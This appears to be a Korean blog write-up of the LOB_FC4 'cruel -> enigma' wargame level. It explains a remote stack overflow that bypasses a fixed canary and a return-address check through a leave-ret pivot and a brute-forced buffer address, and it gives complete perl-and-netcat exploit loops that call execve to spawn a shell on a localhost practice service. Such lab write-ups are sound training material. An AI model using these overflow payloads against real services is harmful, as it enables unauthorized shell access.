본문 바로가기
Wargame/LOB_FC

[LOB_FC4] cruel -> enigma

by bbolmin 2012. 8. 24.

enigma.c의 소스는 아래와 같다.

 

 

이번에는 리모트 어택이다. vuln함수 부분에서 strcpy로 overflow가 발생하며, canary check, ret check 부분이 추가 되어있다.

 

1. canary 값이 0x31337이여야 한다
2. ret의 첫 1byte가 NULL이면 break당함

 

vuln함수의 스택 구조는 대략 아래와 같을 듯 , ,

 

|---------|
|    *ptr    |
|---------|
|  canary  |
|---------|
|    ret      |
|---------|
|    sfp     |
|---------|
|    buf     |
|---------|

 

pop-pop-leave-ret이나 leave-ret을 써서 공격 흐름을 바꾸면 된다. main의 fgets로 입력 받은 버퍼를 이용하면 널바이트 문제 없이 system의 주소와 "/bin/sh"의 주소를 넣을 수 있다. 그런데 vuln함수에서 memset으로 ptr이 가리키는 부분을 0으로 초기화 해버린다.

 

따라서 1. fgets의 임시 버퍼 공간을 이용하거나, 2. ptr이 가리키는 포인터 주소를 조작하고 main의 buf를 이용하는 방법이 있을 것 같다.  

 

1. fgets의 임시 버퍼 공간을 이용 <- 임시 버퍼의 주소가 랜덤하다.

2. ptr이 가리키는 포인터 주소를 조작하고 main의 buf를 이용 <- 스택의 주소가 랜덤하다.

 

fgets의 임시버퍼 주소 : 0xb7f??000

스택의 주소 : 0xbf??????  

 

변하는 부분이 위와 같았다.  스택의 주소를 맞추는 것은 ...........

fgets 임시버퍼의 경우는 2자리만 맞추면 되서 1/256의 확률이 있다. 그러므로 당연히 fgets의 임시버퍼를 이용하겠다.

----;;;; 아,  어짜피 canary때문에 NULL이 있어서 ptr을 조작할 수 없네요 .;;ㅋㅋ

 

0xb7f12000를 임시버퍼 주소의 시작으로 생각하고 payload를 구성해보자.

 

임시버퍼 : 0xb7f72000(+272)  -> 0xb7f72110

vuln의 leave-ret  : 0x0804858e

canary : 0x31337

system() : 0x7db0e7

&"/bin/sh" : 0x8bd987

 

"a"x260, "\x10\x21\xf7\xb7", "\x8e\x85\x04\x08", "\x37\x13\x03\x00", "ebp2", "\xe7\xb0\x7d\x00","aaaa","\x87\xd9\x8b\x00"

 

공격!!

while [ 1 ]; do (perl -e 'print "a"x260, "\x10\x21\xf7\xb7", "\x8e\x85\x04\x08", "\x37\x13\x03\x00", "aaaa", "\xe7\xb0\x7d\x00","aaaa","\x87\xd9\x8b\x00"'; cat)|nc localhost 7777; done

 

 

 

 

계속해봐도 안되서 삽질을 하다가.... 아래와 같이 execve로 하니가 쉘이 떴다.

(system와 execl로 했을때는 안되던데;; 머가 틀렸는지ㅡ..)

execve : 0x832abc

 

"a"x260, "\x10\x21\xf7\xb7","\x8e\x85\x04\x08","\x37\x13\x03\x00","ebp2", "\xbc\x2a\x83\x00","aaaa","\x87\xd9\x8b\x00\x28\x21\xf7\xb7\x00\x00\x00\x00", "\x87\xd9\x8b\x00\x00\x00\x00\x00"

0xb7f72128은 뒤쪽의 \x87\xd9.... 부분을 가리키는 포인터이다.

 

 

while [ 1 ]; do (perl -e 'print "a"x260, "\x10\x21\xf7\xb7","\x8e\x85\x04\x08","\x37\x13\x03\x00","ebp2", "\xbc\x2a\x83\x00","aaaa","\x87\xd9\x8b\x00\x28\x21\xf7\xb7\x00\x00\x00\x00", "\x87\xd9\x8b\x00\x00\x00\x00\x00"';cat)|nc localhost 7777; done

 

 

드디어 쉘이 떨어졌다 ,,,;

 

 

 

 

 

'Wargame > LOB_FC' 카테고리의 다른 글

[LOB_FC3] dark_eyes ->hell_fire  (0) 2014.07.12
[LOB_FC3] iron_golem -> dark_eyes  (0) 2014.07.12
[LOB_FC3] gate ->iron_golem  (0) 2014.07.05
[LOB_FC4] dark_stone -> cruel  (0) 2012.08.20
[LOB_FC3] evil_wizard->dark_stone  (0) 2012.08.18